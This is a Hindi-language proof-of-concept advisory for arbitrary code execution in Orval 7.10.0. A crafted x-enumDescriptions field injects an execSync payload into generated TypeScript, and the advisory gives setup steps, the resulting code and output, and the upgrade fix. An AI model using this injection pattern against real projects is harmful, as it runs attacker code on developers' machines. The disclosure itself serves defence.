
प्रमाण-अवधारणा जो दुर्भावनापूर्ण OpenAPI फ़ील्ड के माध्यम से Orval में मनमाना कोड निष्पादन प्रदर्शित करती है, जिसमें सेटअप, शोषण चरण और उपचार मार्गदर्शन शामिल है।
यह वॉकथ्रू दर्शाता है कि कैसे एक अविश्वसनीय OpenAPI स्पेसिफिकेशन x-enumDescriptions और x-enumNames फ़ील्ड्स के माध्यम से Orval का उपयोग करके जनरेट किए गए क्लाइंट्स में मनमाना कोड इंजेक्ट कर सकता है।
orval का एक कमजोर संस्करण इंस्टॉल करें (जैसे, 7.10.0):mkdir orval-poc
cd orval-poc
npm init -y
npm install [email protected] axios
orval.config.js बनाएं:module.exports = {
test: {
input: './openapi.yaml',
output: {
target: './generated/api.ts',
schemas: './generated/model',
mode: 'split',
},
},
};
openapi.yaml बनाएं:openapi: 3.0.0
info:
title: Test API
version: 1.0.0
paths:
/test:
get:
responses:
'200':
description: OK
content:
application/json:
schema:
type: object
properties:
status:
$ref: '#/components/schemas/TestEnum'
components:
schemas:
TestEnum:
type: string
enum:
- VAL1
x-enumDescriptions:
- "*/ }; (function(){ const { execSync } = require('child_process'); console.log('ID_COMMAND_OUTPUT: ' + execSync('id').toString()); })(); export const Dummy = { /*"
npx orval
generated/model/testEnum.ts का निरीक्षण करें:/**
* Generated by orval v7.10.0 🍺
* Do not edit manually.
* Test API
* OpenAPI spec version: 1.0.0
*/
export type TestEnum = typeof TestEnum[keyof typeof TestEnum];
// eslint-disable-next-line @typescript-eslint/no-redeclare
export const TestEnum = {
/** */ }; (function(){ const { execSync } = require('child_process'); console.log('ID_COMMAND_OUTPUT: ' + execSync('id').toString()); })(); export const Dummy = { /* */
VAL1: 'VAL1',
} as const;
एक रनर स्क्रिप्ट exploit.ts बनाएं:
import { TestEnum } from './generated/model/testEnum';
console.log('TestEnum value:', TestEnum);
इसे tsx का उपयोग करके चलाएं:
npm install -D tsx
npx tsx exploit.ts
आउटपुट:
🍻 Start orval v7.10.0 - A swagger client generator for typescript
🎉 test - Your OpenAPI spec has been converted into ready to use orval!
ID_COMMAND_OUTPUT: uid=1002(boroeurn) gid=1002(boroeurn) groups=1002(boroeurn),27(sudo),100(users),126(libvirt),986(docker),993(kvm)
TestEnum value: {}
Orval को संस्करण 8.0.2 या उसके बाद के संस्करण में अपग्रेड करें। यह फिक्स js-string-escape का उपयोग करके इन स्ट्रिंग्स को ठीक से एस्केप करता है।